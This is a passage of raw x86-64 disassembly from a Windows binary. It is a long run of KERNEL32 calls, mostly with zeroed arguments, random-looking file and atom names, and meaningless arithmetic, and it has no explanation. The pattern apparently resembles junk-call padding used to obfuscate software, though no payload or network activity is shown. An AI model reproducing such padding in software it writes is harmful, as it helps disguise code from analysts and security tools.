mov rcx, qword [rsp + 0x9518]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0x93e0]
mov eax, dword [rax]
mov dword [rsp + 0x4988], eax
mov rax, qword [rsp + 0x9748]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27b]
sub eax, ecx
mov byte [rsp + 0x275], al
mov rax, qword [0x14024f380]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x270]
add eax, ecx
mov byte [0x14024f3a0], al
lea rcx, [rsp + 0x1a4c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0xf7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfa8], ax
lea rax, [rsp + 0xfa4]
mov qword [rsp + 0x9780], rax
mov r9d, 0x1716
xor r8d, r8d
lea rdx, [rsp + 0x8df8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48c4], eax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9730]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9640]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9718], rax
lea rcx, [0x140230610]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfac], ax
mov rax, qword [0x14024f368]
mov rcx, qword [rsp + 0x9588]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9778]
mov dword [rcx], eax
lea rdx, [rsp + 0x9000]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x48f0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.rOqajBkqp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9788], rax
mov edx, 0x26dc
mov rcx, qword [rsp + 0x9758]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48fc], eax
mov rax, qword [rsp + 0x9530]
movzx eax, word [rax]
mov word [rsp + 0xfb0], ax
xor r9d, r9d
lea r8, [rsp + 0x9610]
mov rdx, qword [rsp + 0x9790]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4978], eax
lea rdx, [rsp + 0x9278]
mov rcx, qword [rsp + 0x9788]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x46fc], eax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x48a0]
mov ecx, dword [rsp + 0x4890]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.fWTnWLVAwG3Qj
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9798], rax
xor r9d, r9d
lea r8, [rsp + 0x96f0]
mov rdx, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x9540]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x482c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x3b73
mov r8d, 0x29b6
mov edx, 0xfb
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4924], eax
lea rax, [rsp + 0x27c]
mov qword [rsp + 0x97a8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x95f0], rax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x498c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9768], rax
mov rax, qword [rsp + 0x96e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9518]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf38], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
xor r9d, r9d
lea r8, [rsp + 0x8d50]
mov rdx, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4990], eax
mov r9d, 0xfc8
xor r8d, r8d
lea rdx, [rsp + 0x96b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x497c], eax
movzx ecx, word [rsp + 0xef4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfb4], ax
lea rcx, [0x140230650]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf8c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
movzx ecx, word [rsp + 0xf1c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf94], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.nfR9YZSo3EmJ1uis7aac93fVV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x97b0], rax
movzx ecx, word [rsp + 0xf44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x8d38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8290]
sar rax, cl
mov rcx, qword [rsp + 0x9620]
mov qword [rcx], rax
lea rcx, [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0x9650]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4994], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x1f6e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4810], eax
lea rax, [0x14024f3c8]
mov qword [0x14024f360], rax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45fc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4074], eax
mov rax, qword [rsp + 0x8f18]
movzx eax, byte [rax]
movzx ecx, byte [0x14024f3a8]
shl eax, cl
mov rcx, qword [rsp + 0x95b0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9750]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9738]
mov rax, qword [rax]
mov qword [rsp + 0x97b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.21FdECiB_rY_tK2jw
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x97c0], rax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0x9620]
idiv qword [rcx]
mov qword [rsp + 0x93b0], rax
lea rcx, [rsp + 0x8ee8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9680]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x16a], al
mov rax, qword [rsp + 0x9518]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf84], ax
mov eax, dword [rsp + 0x48f8]
mov ecx, dword [rsp + 0x46c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x8df8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [rsp + 0x1fa40], 0x11c
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [0x14024f3b0]
movzx eax, word [rax]
mov word [rsp + 0xfb8], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9758]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x1d3]
mov qword [0x14024f358], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
mov eax, dword [rsp + 0x47d0]
mov dword [rsp + 0x46a0], eax
mov r9d, 0x16d7
xor r8d, r8d
lea rdx, [rsp + 0x90d0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4998], eax
lea rax, [rsp + 0x94f8]
mov qword [rsp + 0x97c8], rax
lea rcx, [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [0x14024f3c0]
mov rcx, qword [rsp + 0x8290]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
movzx eax, byte [rsp + 0x257]
movzx ecx, byte [rsp + 0x270]
imul eax, ecx
mov byte [rsp + 0x1a3], al
lea rax, [rsp + 0x27c]
mov qword [rsp + 0x97d0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov r9d, 2
lea r8, [rsp + 0x8ee0]
mov rdx, qword [rsp + 0x8d28]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x499c], eax
lea rdx, [rsp + 0x8d28]
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4810], eax
mov rax, qword [rsp + 0x93c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb4c], ax
lea rcx, [rsp + 0x97d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1f4a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x499c], eax
lea rax, [rsp + 0x4478]
mov qword [rsp + 0x97e0], rax
mov rax, qword [rsp + 0x96c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf2c]
add eax, ecx
mov word [rsp + 0xf98], ax
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov eax, dword [0x14022fb70]
mov dword [0x14024f350], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.7zHlDiW3OjNcAJW
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x97e8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x9688]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8f60], rax
mov rcx, qword [rsp + 0x8cd8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x49a0], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xa09
mov r9d, 0x35ea
mov r8d, 0x73436572
mov edx, 1
mov rcx, qword [rsp + 0x9788]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4954], eax
mov edx, 0x230f
mov rcx, qword [rsp + 0x9728]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48fc], eax
lea rax, [rsp + 0x9208]
mov qword [rsp + 0x97f0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x97f8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movzx eax, byte [rsp + 0x1d3]
mov rcx, qword [0x14024f380]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x274], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0x9630]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41e4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0xf64]
mov rcx, qword [rsp + 0x93c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf38], ax
lea rcx, str.MEGWYaTY_zYQrEb5_Ot_I5oKC
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x9680]
movzx eax, byte [rax]
mov byte [rsp + 0x27d], al
mov rax, qword [rsp + 0x93e0]
mov eax, dword [rax]
mov dword [rsp + 0x4898], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0xf0c]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf98], ax
lea rdx, [rsp + 0x9760]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4984], eax
lea rcx, str.G7kO_wNl_UelPYgy
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfc0], ax
lea rcx, [rsp + 0x8d50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x26a]
add eax, ecx
mov byte [0x140221039], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
mov word [rsp + 0xfc4], ax
mov eax, dword [rsp + 0x49a4]
movzx ecx, al
mov eax, dword [rsp + 0x49a8]
shl eax, cl
mov dword [rsp + 0x48e4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x8e30]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7cb8], rax
lea rdx, [rsp + 0x8ee0]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4924], eax
mov r9d, 0x1dad
xor r8d, r8d
lea rdx, [rsp + 0x8df8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49ac], eax
mov r9d, 2
lea r8, [rsp + 0x8ee0]
mov rdx, qword [rsp + 0x9610]
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4950], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.X7KNJ0Y3PMd0Fzmws
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9800], rax
movzx ecx, word [rsp + 0xf18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf5c], ax
xor r9d, r9d
lea r8, [rsp + 0x8d28]
mov rdx, qword [rsp + 0x9808]
mov rcx, qword [rsp + 0x9800]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x493c], eax
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rcx, qword [rsp + 0x9728]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x9810]
mov rcx, qword [rsp + 0x95c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4990], eax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x95e0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9578]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x228]
sar eax, cl
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
movzx eax, word [rsp + 0xf38]
mov word [rsp + 0xfc8], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
mov rcx, qword [rsp + 0x96b8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9818], rax
lea rdx, [rsp + 0x9790]
mov rcx, qword [rsp + 0x95e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4924], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
lea rcx, [rsp + 0x1a4f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0xf24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf40], ax
mov eax, dword [rsp + 0x491c]
mov ecx, dword [rsp + 0x48f8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
lea rax, [rsp + 0xfc4]
mov qword [rsp + 0x9820], rax
lea rax, [rsp + 0x26a]
mov qword [0x14024f348], rax
mov r9d, 0x16a6
xor r8d, r8d
lea rdx, [rsp + 0x9728]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4700], eax
lea rcx, [0x140230770]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfcc], ax
lea rdx, [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x47a0], eax
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.r5GdZueDd5SOX9Y
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9828], rax
mov rcx, qword [rsp + 0x8f70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsp + 0x90d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.Wb1Jq4eQ1eAbn2Gf
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9830], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9738]
mov rcx, qword [rsp + 0x9008]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x95c8]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43a8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x8110]
mov qword [rsp + 0x9838], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movzx ecx, word [rsp + 0xf88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf50], ax
movzx ecx, word [rsp + 0xf10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfd0], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
lea rcx, str.G2A_3A
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf50], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2b36
mov r9d, 0x1df0
mov r8d, 0xdf3d3e69
mov edx, 2
mov rcx, qword [rsp + 0x9798]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x492c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.JCdCASJ0InYYWF2clAWMgzUJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9840], rax
movzx eax, byte [rsp + 0x270]
movzx ecx, byte [rsp + 0x205]
imul eax, ecx
mov byte [rsp + 0x1a3], al
lea rax, [rsp + 0x4764]
mov qword [rsp + 0x9848], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x95a8], rax
movsx eax, word [rsp + 0xf78]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x93c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9748]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9528]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7a0]
sub eax, ecx
mov word [rsp + 0xdec], ax
lea rax, [rsp + 0x4880]
mov qword [0x14024f340], rax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x9608]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9010]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9728]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9850], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
lea rax, [rsp + 0xeec]
mov qword [rsp + 0x9858], rax
movzx eax, byte [rsp + 0x1d3]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x9630]
mov eax, dword [rax]
mov dword [rsp + 0x49b0], eax
lea rcx, [rsp + 0x96f8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, byte [rsp + 0x154]
movsx ecx, byte [rsp + 0x27a]
sub eax, ecx
mov byte [rsp + 0x27b], al
mov rax, qword [rsp + 0x9518]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb4c]
sar eax, cl
mov word [rsp + 0xf48], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov dword [rsp + 0x49b4], eax
lea rdx, [rsp + 0x8df0]
mov rcx, qword [rsp + 0x9800]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4984], eax
mov rax, qword [rsp + 0x9270]
mov rcx, qword [rsp + 0x9738]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8410], rax
mov rcx, qword [rsp + 0x9598]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xdec]
mov qword [rsp + 0x9860], rax
movzx eax, byte [rsp + 0x270]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14024f348]
mov byte [rcx], al
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0xf30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfbc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov dword [rsp + 0x1fb60], 0x11c
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x1f920]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4924], eax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x48a4]
shl eax, cl
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
lea rcx, str.q5HecX_ztd_EeaXm
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfd4], ax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x9010]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x7b28], rax
lea rax, [rsp + 0x8e30]
mov qword [rsp + 0x9868], rax
mov eax, dword [rsp + 0x4928]
mov ecx, dword [rsp + 0x4878]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4668], eax
mov r9d, 2
lea r8, [rsp + 0x9740]
mov rdx, qword [rsp + 0x9808]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x48f0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
xor edx, edx
xor ecx, ecx
